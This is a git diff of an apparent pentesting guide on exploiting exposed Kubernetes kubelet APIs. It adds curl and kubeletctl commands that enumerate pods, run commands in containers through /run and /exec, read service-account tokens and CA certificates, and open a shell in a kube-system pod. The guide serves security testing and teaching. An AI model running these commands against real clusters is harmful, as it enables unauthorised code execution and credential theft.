diff --git a/pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md b/pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md
index cfb94abd..becadd80 100644
--- a/pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md
+++ b/pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md
@@ -1,21 +1,5 @@
 # Pentesting Kubernetes Services
 
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@@ -93,6 +77,7 @@ If you find this service exposed you might have found an [**unauthenticated RCE*
 ```
 curl -k https://<IP address>:10250/metrics
 curl -k https://<IP address>:10250/pods
+curl -k https://<IP address>:10250/runningpods/
 ```
 
 If the response is `Unauthorized` then it requires authentication.
@@ -104,7 +89,7 @@ kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_POR
     ip=$(echo $node | awk '{print $1}')
     port=$(echo $node | awk '{print $2}')
     echo "curl -k --max-time 30 https://$ip:$port/pods"
-    echo "curl -k --max-time 30 https://$ip:2379/version" #Check  also for etcd
+    echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
 done
 ```
 
@@ -199,15 +184,30 @@ This endpoint list pods and their containers:
 curl -ks https://worker:10250/pods
 ```
 
-#### /exec
+#### /exec & /run
 
 This endpoint allows to execute code inside any container very easily:
 
 ```bash
-# Tthe command is passed as an array (split by spaces) and that is a GET request.
-curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} \
-  -d 'input=1' -d 'output=1' -d 'tty=1'                             \
+# You can get all the namespaces, pods and containers running with:
+curl -k https://10.10.11.133:10250/pods | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]'
+curl -k https://10.10.11.133:10250/runningpods/ | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]'
+
+# /run
+curl -XPOST -k https://10.10.11.133:10250/run/{namespace}/{pod}/{container} \ 
+  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt /var/run/secrets/kubernetes.io/serviceaccount/token"
+ 
+# /exec
+# The command is passed as an array (split by spaces) and that is a GET request.
+curl -sk -X POST -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" \
+  https://worker:10250/exec/{namespace}/{pod}/{container} \
+  -d 'input=1' -d 'output=1' -d 'tty=1' \
   -d 'command=ls' -d 'command=/'
+
+# Using kubeletctl
+## get kubeletctl from releases in https://github.com/cyberark/kubeletctl
+kubeletctl exec /bin/sh -n <namespace> -p <pod> -c <container>  -s <IP> --cacert ./ca.crt
+kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-system -s 10.129.227.136 --cacert ./ca.crt
 ```
 
 To automate the exploitation you can also use the script [**kubelet-anon-rce**](https://github.com/serain/kubelet-anon-rce).